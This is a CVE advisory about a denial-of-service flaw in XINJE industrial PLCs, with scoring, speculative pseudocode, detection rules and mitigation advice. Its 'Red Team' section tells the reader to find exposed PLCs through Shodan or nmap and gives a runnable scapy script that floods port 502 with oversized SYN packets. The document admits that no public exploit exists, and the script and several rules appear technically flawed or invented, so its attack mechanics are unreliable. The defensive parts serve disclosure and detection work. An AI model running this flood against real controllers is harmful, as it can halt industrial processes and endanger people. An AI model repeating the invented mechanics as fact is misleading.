CVE-2024-50955

Executive Summary

CVE-2024-50955 identifies a Denial of Service (DoS) vulnerability in XINJE XD5E-24R and XL5E-16T programmable logic controllers (PLCs) running firmware version v3.5.3b. The flaw resides in how the device handles crafted TCP protocol messages, allowing an unauthenticated, remote attacker to cause a complete service disruption. Given the critical role of PLCs in industrial control systems (ICS), this vulnerability poses a significant risk to operational technology (OT) environments. No patch is currently available, and no public exploit code has been released. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue specific to XINJE PLCs.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the description and impact, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is altered.
• Availability (A): High (H) – Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

The threat level is High due to the ease of exploitation, lack of authentication, and the critical nature of PLCs in industrial processes. A successful DoS attack can halt production lines, cause safety hazards, and lead to significant financial loss.

Deep Dive & Mechanics

The vulnerability is a classic resource exhaustion flaw. The XINJE PLCs, when processing TCP messages, fail to properly validate or limit the resources consumed by a single connection or a series of crafted packets. An attacker can send a specially crafted TCP message that triggers an infinite loop, excessive memory allocation, or a crash in the device's TCP/IP stack.

Technical Breakdown:

1. Protocol Handling: The PLC listens on TCP port 502 (Modbus TCP) by default. The vulnerability is triggered by a malformed or oversized TCP segment.
2. Resource Exhaustion: The crafted message causes the device to allocate an unbounded amount of memory or enter a state where it cannot process further requests. This could be due to a buffer overflow, a null pointer dereference, or a logic error in state management.
3. Denial of Service: Once the resource is exhausted, the PLC becomes unresponsive. It may need a physical power cycle to recover, as the watchdog timer may not be triggered.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware binary of the XINJE XD5E-24R and XL5E-16T v3.5.3b. Without source code or a patch, a direct comparison is impossible. However, the vulnerability likely exists in the TCP message parsing routine.

Hypothetical Vulnerable Code (C-like pseudocode):

void process_tcp_message(char *buffer, int length) {
    char *data = malloc(length); // No check for length validity
    memcpy(data, buffer, length); // Potential overflow if length is huge
    // ... process data ...
}

Hypothetical Patched Code:

void process_tcp_message(char *buffer, int length) {
    if (length > MAX_MSG_SIZE) {
        // Reject oversized message
        return;
    }
    char *data = malloc(length);
    if (data == NULL) {
        // Handle allocation failure
        return;
    }
    memcpy(data, buffer, length);
    // ... process data ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: XINJE XD5E-24R or XL5E-16T with firmware v3.5.3b.
• Network access to the PLC (port 502/TCP).
• A tool to send raw TCP packets (e.g., nmap, scapy, hping3, or a custom Python script).

Exploitation Steps:

1. Identify Target: Use Shodan or a network scan to find exposed XINJE PLCs.

   nmap -p 502 --script modbus-discover <target_ip>
   

2. Craft Malformed Packet: Send a TCP packet with a malformed Modbus header or an excessively large payload.

   # Python script using scapy
   from scapy.all import *
   import sys
   
   target_ip = sys.argv[1]
   # Craft a TCP SYN packet with a malformed payload
   ip = IP(dst=target_ip)
   tcp = TCP(sport=RandShort(), dport=502, flags="S")
   payload = "A" * 65535  # Oversized payload
   packet = ip / tcp / payload
   send(packet, loop=1, inter=0.1)  # Send in a loop
   

3. Trigger DoS: Run the script. The PLC should become unresponsive.

   python3 exploit.py 192.168.1.100
   

Expected Outcome: The PLC stops responding to Modbus requests. The web interface (if enabled) becomes unreachable. Physical I/O may freeze.

Blue Team (Detection & Response)

Detection:

• Monitor for a high volume of TCP connections to port 502 from a single source.
• Alert on unusually large TCP payloads destined for the PLC.
• Use network intrusion detection systems (NIDS) to flag malformed Modbus packets.

Response:

1. Isolate: Immediately segment the affected PLC from the network.
2. Analyze: Capture network traffic for forensic analysis.
3. Recover: Perform a hard reset (power cycle) of the PLC.
4. Mitigate: Implement network access controls (ACLs) to restrict access to the PLC to only trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of TCP SYN packets to port 502 from a single external IP.
  • TCP packets to port 502 with payloads exceeding 1024 bytes.
  • Modbus packets with invalid function codes or unit identifiers.
• Host IOCs:
  • PLC becomes unresponsive to ping or Modbus requests.
  • PLC web interface (if enabled) returns HTTP 503 or connection timeout.
  • System logs (if available) show repeated TCP connection timeouts.
• File IOCs:
  • No file-based IOCs as this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2024_50955_XINJE_DoS {
    meta:
        description = "Detects network traffic targeting XINJE PLCs with oversized TCP payloads"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-50955"
    strings:
        $modbus_header = { 00 00 00 00 00 00 } // Modbus MBAP header (transaction, protocol, length)
        $large_payload = { 00 00 10 00 } // Payload length > 4096 bytes
    condition:
        $modbus_header at 0 and $large_payload
}

Sigma Rule

title: CVE-2024-50955 XINJE PLC DoS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-50955 by sending oversized TCP packets to XINJE PLCs on port 502.
author: Valters IT
date: 2024/10/27
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 502
        protocol: tcp
        payload_length: '> 1024'
    condition: selection
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-50955 XINJE PLC DoS Attempt"; flow:to_server,established; content:"|00 00|"; depth:2; content:"|00 00|"; distance:2; within:2; byte_test:2,>,1024,4,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the PLCs behind a firewall with strict ACLs. Only allow trusted IPs to communicate with the PLC on port 502.
2. Disable Unused Services: If the web interface or other TCP services are not required, disable them.
3. Monitor: Implement network monitoring to detect anomalous traffic to the PLCs.

Long-Term Actions:

1. Firmware Update: Contact XINJE for a patched firmware version. As of now, no patch is available.
2. Replace Hardware: If a patch is not released, consider replacing the affected PLCs with a more secure alternative.
3. IDS/IPS: Deploy an intrusion detection/prevention system with custom rules to block malformed Modbus traffic.

Workaround: If the PLC must remain exposed, limit the rate of incoming connections using a network device (e.g., iptables rate limiting).

Valters IT
DevSecOps & Cyber Threat Intelligence